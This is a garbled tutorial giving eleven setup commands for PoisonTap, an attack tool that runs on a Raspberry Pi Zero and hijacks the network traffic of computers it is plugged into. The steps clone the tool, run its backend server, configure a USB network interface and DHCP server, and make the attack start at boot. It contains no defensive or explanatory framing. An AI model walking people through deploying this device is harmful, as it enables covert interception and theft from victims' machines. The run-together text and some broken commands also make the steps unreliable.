Step 1) In order to install a PosionTap, you will need a ##Server for the device tocommunicate with permeate the target device.Command #1##Server:( The following commands applies for debaina dn ubuntusystems)

Step 2) The first thing you’ll need to do is to update the libraries and look for if anyupdate is available.Command #2sudo apt-get update && apt-get upgrade

Step 3) Run the following command to check the dependency packages sto beinstalled.Command #3sudo apt-get install screen nodejs nodejs-legacy git npm

Step 4) Launching the node.js application - To run this project on Raspberry Pi ZeroDevice node.js is necessary so we needs to install Node.js and its packages .Command #4sudo npm install websocket

Step 5) Now that you’re all set up, head over to download PoisonTap, or you can pull itusing git clone. You just need to clone the code.Command #5git clone https://github.com/samyk/poisontapNote:Here,youneedtochangeyourworkingdirectoryinthePoisonTapdirectoryafter completing your installation work.It’ll look as:  cdpoisontap

Step 6) Now use the command ‘Screen’ to make multi workspace possibleCommand #6Screen

Step 7)  Once we’re on the working directory, we can check the node.js application runproperly and  start the code using node.js command.Command #7sudo node backend_server.js

Step 8) After connecting this device we need to make device to work in DHCP. You cando this by applying this codeCommand #8sudo apt-get -y install isc-dhcp-server dsniff screen nodejs git

Step 9) Now you have to add network interfaces.
Command #9#add this to /etc/network/interfaces:auto usb0    allow-hotplug usb0    iface usb0 inet static    address 1.0.0.1    netmask 0.0.0.0

Step 10) Use the code #Setup to start the service at boot time or after restart.Command #10#Setup to run at boot:sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/ && sudo chmod +x/etc/init.d/pi_startup.shadd this to /etc/rc.local right above exit 0:/etc/init.d/pi_startup.sh &

Step 11) And to change the network interfaces into USB and to show your USB in thenetwork connection option use the code #DHCP.Command #11#DHCP:sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.confadd this to  /etc/default/isc-dhcp-server:INTERFACES="usb0"